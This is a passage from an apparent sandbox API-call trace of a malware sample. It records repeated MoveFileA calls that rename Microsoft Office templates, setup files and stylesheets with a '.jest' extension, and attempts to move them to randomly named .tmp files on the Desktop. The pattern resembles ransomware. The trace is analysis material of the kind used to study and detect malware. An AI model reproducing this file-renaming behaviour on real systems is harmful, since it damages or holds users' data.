Office\\Office14\\1033\\PROTTPLV.DOC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.doc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.doc.jest")) returned 1 [0162.533] GetLastError () returned 0x0 [0162.534] VarBstrFromR4 (in: fltIn=0x4794561b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.21") returned 0x0 [0162.535] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5SM1iWjJilwxhR6UEvGvXJKX _OGH1bdIG6xMHjXItJGG2uwOF0Gx0qm-bhTqgEcxW6EW0gZpTHScrBK -U6cvpHzXC61mRoSE2S.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5sm1iwjjilwxhr6uevgvxjkx _ogh1bdig6xmhjxitjgg2uwof0gx0qm-bhtqgecxw6ew0gzpthscrbk -u6cvphzxc61mrose2s.tmp")) returned 0 [0162.535] GetLastError () returned 0x2 [0162.535] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\SalesReport.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\salesreport.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\SalesReport.xltx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\salesreport.xltx.jest")) returned 1 [0162.536] GetLastError () returned 0x0 [0162.537] VarBstrFromR4 (in: fltIn=0x4794561b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.21") returned 0x0 [0162.538] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\SalesReport.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\salesreport.xltx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lRPoWDDqgrtw0iJkz6Ku_WkChwgDMrDOZZPEmvVfO 0zVJXaiEbr4s56vLcb8ThfDK5WGtYci-ruHrEh35fg2xKBoo8CYUCZ0pV-w.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lrpowddqgrtw0ijkz6ku_wkchwgdmrdozzpemvvfo 0zvjxaiebr4s56vlcb8thfdk5wgtyci-ruhreh35fg2xkboo8cyucz0pv-w.tmp")) returned 0 [0162.538] GetLastError () returned 0x2 [0162.539] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.jest")) returned 1 [0162.540] GetLastError () returned 0x0 [0162.540] VarBstrFromR4 (in: fltIn=0x4794561b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.21") returned 0x0 [0162.542] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4nUQ8u-AJiT4zP93WGkqz9Z8TduT19EhvK3uDt25_-dQy-d2aydg8toW61r6v9iHpC84j9Ibp2K-mVVJXmWTJNzQ-letUMI2fyR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4nuq8u-ajit4zp93wgkqz9z8tdut19ehvk3udt25_-dqy-d2aydg8tow61r6v9ihpc84j9ibp2k-mvvjxmwtjnzq-letumi2fyr.tmp")) returned 0 [0162.542] GetLastError () returned 0x2 [0162.543] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver\\solver.xlam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM.jest" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver\\solver.xlam.jest")) returned 1 [0162.572] GetLastError () returned 0x0 [0162.573] VarBstrFromR4 (in: fltIn=0x4794561d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.23") returned 0x0 [0162.574] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver\\solver.xlam"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SRQcht4hkiXbEjJKxtJAe7Bs3uKzOmjm5j_UMlBGAqpFqr3pfegzEpbG6ntQJJutysGqemvDpWN8nyVSUXT8Q8SBvDnbGf682kh.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\srqcht4hkixbejjkxtjae7bs3ukzomjm5j_umlbgaqpfqr3pfegzepbg6ntqjjutysgqemvdpwn8nyvsuxt8q8sbvdnbgf682kh.tmp")) returned 0 [0162.575] GetLastError () returned 0x2 [0162.575] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.577] GetLastError () returned 0x0 [0162.577] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.578] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\SOLVSAMP.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\samples\\solvsamp.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\SOLVSAMP.XLS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\samples\\solvsamp.xls.jest")) returned 1 [0162.579] GetLastError () returned 0x0 [0162.579] VarBstrFromR4 (in: fltIn=0x4794561f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.24") returned 0x0 [0162.580] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\SOLVSAMP.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\samples\\solvsamp.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NUJxWVW 2VpPzAT-oy6oeEzdTkIxSI8tAYzhTBWWX1EHsvzjSPHp9K5h9jNeWRRwVuMUh59Sk_y5fTjplb9Gu0uH QuPTv9UeuA5m.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nujxwvw 2vppzat-oy6oeezdtkixsi8tayzhtbwwx1ehsvzjsphp9k5h9jnewrrwvumuh59sk_y5ftjplb9gu0uh quptv9ueua5m.tmp")) returned 0 [0162.580] GetLastError () returned 0x2 [0162.580] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.581] GetLastError () returned 0x0 [0162.581] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.581] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TimeCard.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\timecard.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TimeCard.xltx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\timecard.xltx.jest")) returned 1 [0162.583] GetLastError () returned 0x0 [0162.583] VarBstrFromR4 (in: fltIn=0x4794561f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.24") returned 0x0 [0162.584] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TimeCard.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\timecard.xltx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XAx14800LdfVckHXC8Vos3Gc_gdjswaof OYDKHk2A9C959ioedDXpDaXbLAQIj3cM1SuVfeJg83DPltLSHOTKWP8v-dVkaaIhUFQ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xax14800ldfvckhxc8vos3gc_gdjswaof oydkhk2a9c959ioeddxpdaxblaqij3cm1suvfejg83dpltlshotkwp8v-dvkaaihufq.tmp")) returned 0 [0162.584] GetLastError () returned 0x2 [0162.585] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.585] GetLastError () returned 0x0 [0162.585] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.585] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.jest")) returned 1 [0162.586] GetLastError () returned 0x0 [0162.587] VarBstrFromR4 (in: fltIn=0x4794561f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.24") returned 0x0 [0162.587] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ax97Zf604mjVtApSg dug55-8JC97-0fFE9uRkTRnpGrk4YkA6C77hTqqGb8OXBgaw-pRDWoN-U 6bqQ4M0V-OgMAU9iQpY6-103t.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ax97zf604mjvtapsg dug55-8jc97-0ffe9urktrnpgrk4yka6c77htqqgb8oxbgaw-prdwon-u 6bqq4m0v-ogmau9iqpy6-103t.tmp")) returned 0 [0162.587] GetLastError () returned 0x2 [0162.588] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.588] GetLastError () returned 0x0 [0162.588] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.588] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.jest")) returned 1 [0162.591] GetLastError () returned 0x0 [0162.591] VarBstrFromR4 (in: fltIn=0x4794561f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.24") returned 0x0 [0162.592] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_PCZcJtbcTqClEIBqvtHgCoUEbrmNOGQ-aPObJBtzR20-WXGpJ6vXONpc7fNlstybtim8RH2-cA8mZqygtDO28pesGdEB1oEcWF5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_pczcjtbctqcleibqvthgcouebrmnogq-apobjbtzr20-wxgpj6vxonpc7fnlstybtim8rh2-ca8mzqygtdo28pesgdeb1oecwf5.tmp")) returned 0 [0162.592] GetLastError () returned 0x2 [0162.593] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.593] GetLastError () returned 0x0 [0162.593] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.594] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.jest")) returned 1 [0162.595] GetLastError () returned 0x0 [0162.596] VarBstrFromR4 (in: fltIn=0x47945621, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.26") returned 0x0 [0162.597] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UuZiTkzSrxMWmCvev14W1ZM9gGVQYt hEyRs RN4Z2r8ditWKWQOj3oGtVP8IE9BWdHdwWyikO 3Wul0G2faL6SJihgDqV NyxuHN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uuzitkzsrxmwmcvev14w1zm9ggvqyt heyrs rn4z2r8ditwkwqoj3ogtvp8ie9bwdhdwwyiko 3wul0g2fal6sjihgdqv nyxuhn.tmp")) returned 0 [0162.597] GetLastError () returned 0x2 [0162.597] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.597] GetLastError () returned 0x0 [0162.597] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.598] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.jest" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.jest")) returned 1 [0162.598] GetLastError () returned 0x0 [0162.599] VarBstrFromR4 (in: fltIn=0x47945621, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.26") returned 0x0 [0162.599] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GMLq_CI7-G9Uwap2ko1EzJ iDFJvefhcqABIKEnev0KEh-jfqW Dy5VXMXOjfLSMt_57jR0OyC82Zmq hsMmqMKyC34qyVUOC9 q.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gmlq_ci7-g9uwap2ko1ezj idfjvefhcqabikenev0keh-jfqw dy5vxmxojflsmt_57jr0oyc82zmq hsmmqmkyc34qyvuoc9 q.tmp")) returned 0 [0162.600] GetLastError () returned 0x2 [0162.600] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.600] GetLastError () returned 0x0 [0162.600] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.601] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.jest" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.jest")) returned 1 [0162.603] GetLastError () returned 0x0 [0162.604] VarBstrFromR4 (in: fltIn=0x47945621, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.26") returned 0x0 [0162.604] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_jaVNSvH_rtrvqAkfUvOZcxe5D4SDfFsbP_z7yuJmL4VzcIPsJC2bbX5XcCCDH0XawyHMiMP_9l_grnWJb860T3qFKx55HjwDcr.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_javnsvh_rtrvqakfuvozcxe5d4sdffsbp_z7yujml4vzcipsjc2bbx5xcccdh0xawyhmimp_9l_grnwjb860t3qfkx55hjwdcr.tmp")) returned 0 [0162.605] GetLastError () returned 0x2 [0162.605] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.606] GetLastError () returned 0x0 [0162.606] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.606] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\adobe.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Adobe.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\adobe.css.jest")) returned 1 [0162.611] GetLastError () returned 0x0 [0162.611] VarBstrFromR4 (in: fltIn=0x47945623, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.27") returned 0x0 [0162.612] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\adobe.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dAmsecYbKlFawmtd1jfUgwbfHwXCtQ15ifSUwYSL5_1gB-rpyCD7j4E3rOltbPZg_Bn1_d8te2TkM8AHi7KTlcGCQqvK-N6W_r7S.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\damsecybklfawmtd1jfugwbfhwxctq15ifsuwysl5_1gb-rpycd7j4e3roltbpzg_bn1_d8te2tkm8ahi7ktlcgcqqvk-n6w_r7s.tmp")) returned 0 [0162.612] GetLastError () returned 0x2 [0162.612] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.613] GetLastError () returned 0x0 [0162.613] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.613] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana.css.jest")) returned 1 [0162.614] GetLastError () returned 0x0 [0162.614] VarBstrFromR4 (in: fltIn=0x47945623, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.27") returned 0x0 [0162.615] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7mDoWrHun5OBrBQL_y WPkO2B4_b_gpBol6GCrVd2sxPpWr7OVjITr6mYTpcpV16jEvpiw3M5-Nl6tGfIcuJgD-jUWD6BPJ3M6fC9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7mdowrhun5obrbql_y wpko2b4_b_gpbol6gcrvd2sxppwr7ovjitr6mytpcpv16jevpiw3m5-nl6tgficujgd-juwd6bpj3m6fc9.tmp")) returned 0 [0162.615] GetLastError () returned 0x2 [0162.616] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.616] GetLastError () returned 0x0 [0162.616] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.616] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue.css.jest")) returned 1 [0162.617] GetLastError () returned 0x0 [0162.618] VarBstrFromR4 (in: fltIn=0x47945623, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.27") returned 0x0 [0162.618] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PY-kXJKVkW9uRLDqHKJxWWBHFW6YqW6w AVBIki6Xroa6AKe7fZ6lzOCDtAX9jzY6xIvGijgH9f9i-s8wVSJfqL7T--5c3fphUC7B.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\py-kxjkvkw9urldqhkjxwwbhfw6yqw6w avbiki6xroa6ake7fz6lzocdtax9jzy6xivgijgh9f9i-s8wvsjfql7t--5c3fphuc7b.tmp")) returned 0 [0162.619] GetLastError () returned 0x2 [0162.619] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.619] GetLastError () returned 0x0 [0162.619] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.620] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Beige.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\beige.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Beige.css.jest" (normalized: "c:\\program files\\microsoft 